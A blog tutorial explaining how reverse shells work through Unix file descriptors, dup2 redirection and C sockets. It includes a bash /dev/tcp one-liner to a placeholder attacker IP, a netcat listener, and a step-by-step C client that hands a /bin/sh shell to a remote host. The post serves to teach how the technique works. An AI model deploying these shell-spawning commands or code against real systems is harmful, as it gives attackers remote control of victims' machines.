Reverse Shell Magic
Recreating a common exploit with C Sockets
December 15, 2024
Today I want to explore some malware, more specifically a very basic program known as a reverse shell. Programs like these allow an attacker to access and control a victim’s device through a single TCP connection and serve as the foundation for even more malicious programs like Remote Access Trojans (RATs). A reverse shell is incredibly easy to set up. We can create one with two lines using built-in unix commands:
On the attacker machine start a netcat
server:
$ nc -nlvp 4444On victim machine run the following command:
$ bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1Once the second command executes the attacker will be launched into an interactive shell inside the victims device. Very cool… but how does this work? To understand the command above, we’ve got to go back to how unix uses files over internet connections.
Files and unix redirections
In an earlier post I explored the idea that in UNIX systems everything is a file. When a process is initiated it gets its own file descriptor table, which is just a list of integers that describe what files it has open. By default, process have three initial entries:
| Value | Name |
|---|---|
| 0 | stdin |
| 1 | stdout |
| 2 | stderr |
These files are known as standard
streams, which are preconfigured I/O
connections. In the case of the terminal program you’re
likely running when executing the commands above,
stdin would access a stream to a keyboard
and stdout/stderr access the
display. We can use the to redirect these streams. For
example:
echo "foo" > barThe built-in unix > symbol directs
the stdout stream to the bar
file. The output of echo "foo" is simply
"foo", which is then directed to the
bar file. These unix shorthands are very
useful and succinct, but let’s get a little more verbose
and require the command in C. Our program will do the
following: 1. Create the bar file. The OS
will assign the file descriptor of 3 to
this file. This is easy with the open
call:
char *filename = "bar";
int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 0644);- Redirect
stdoutto the file descriptor ofbar. We can do this with thedup2call.
int dup2(int oldfd, int newfd);
The dup system calls manipulate,
duplicate, and create aliases of file descriptors. From
LPI: > The
dup2() system call makes a duplicate file
descriptor given in oldfd using the descriptor
number supplied in newfd. (97)
So, lets duplicate the file descriptor for
stdout for the fd of the
bar file:
dup2(fd, STDOUT_FILENO);
- Finally we can write to
stdout
char *message = "foo";
write(STDOUT_FILENO, message, strlen(message));After compiling and executing our program
we can see the string foo printed to a
bar file:
$ gcc dup.c
$ ./a.out
$ cat bar
fooOk, admittedly not very exciting… let’s do something with the internet!
Network sockets and file descriptors
Sockets are abstracted software structures that allow
inter-process communication across networks. They rely
on transport
layer protocols like TCP and UDP to deliver data
streams between hosts, utilizing network ports.
Processes read and write to sockets just as they would
to files. In other words, when we define a socket, we
get back a file descriptor from the OS and can perform
the same file-related system calls on the socket
(dup, read,
write, close, etc).
For our reverse shell program, we’ll use TCP because this ensures reliable packet delivery. We need to define a socket on each end of the network connection – one for the server and one for the client. In reverse shell exploits, the attacker runs the server, while the victim (unknowingly) executes the client. In our client, we’ll initiate the socket, specifying TCP with IPv4 addressing:
#include <sys/socket.h>
int main {
int socketfd = socket(AF_INET, SOCK_STREAM, 0);
printf("Socket file descriptor: %d", socketfd);
return 0;
}Then, we’ll initiate a connection to the attacker’s
server. We’ll have to define a specific
struct for the remote server’s address:
int PORT = 4444;
struct sockaddr_in server_address;
server_address.sin_family = AF_INET;
server_address.sin_port = htons(PORT);
server_address.sin_addr.s_addr = inet_addr("<Attacker IP>");
int connection = connect(socketfd, (struct sockaddr *)&server_address, sizeof(server_address));If our connection is successful, this means we’ve reached the server and have completed the TCP 3-way handshake and can now exchange information. Ok now for the fun part…
Recreating the reverse shell
Remember the dup2 system called we used
to duplicate the file descriptor of an arbitrary text
file? Since the OS treats the socket as a file, we can
use the same function on the socket, but instead of just
redirecting standard output to the file, we’ll also
redirect stdin and stderr.
This means that whatever is inputted by the server into
the socket at their end will be directed as
stdin into the victims shell. Output that
prints to the terminal (stderr and
stdout) will instead by redirected to the
socket.
dup2(socketfd, STDIN_FILENO);
dup2(socketfd, STDOUT_FILENO);
dup2(socketfd, STDERR_FILENO);Once this bidirectional communication is established, we execute a shell in the client (i.e. victim) program:
char *const shell_argv[] = {"/bin/sh", NULL};
execve("/bin/sh", shell_argv, NULL);Because we’ve redirected the standard streams to the server socket, text from the attacker will be treated as valid input in the shell program. Similarly, any output from the shell will direct to the socket, which will be displayed in the attacker’s terminal. Find the full code here.
Lastly, let’s look back at our initial command we ran on the victim’s machine:
$ bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
Similar to the > shorthand
>& redirects stderr to
the same file descriptor as stdout. The
0>&1 shorthand, directs
stdin to the same location as
stdout. In both these cases, the standard
streams are directed to the file
/dev/tcp/<attacker-ip>/4444. This is
a pseudo
device provided by bash. It basically opens a socket
connection to the provided IP and port, simplifying the
work we did in our C client socket program.
Building blocks to more invasive programs
Reverse shells can form part of a more sophisticated RAT, adding functionality like keyloggers, GUIs, file managers, and even webcam access. But this demonstration shows that even running one command can be devastating for the victim.
Furthermore, what’s missing here is an explanation of how a victim would actually mistakingly run a program like the one we wrote here. There are a variety of methods an attacker might use, for example embedding a bash command into a software update script, but I won’t get into further detail in this post.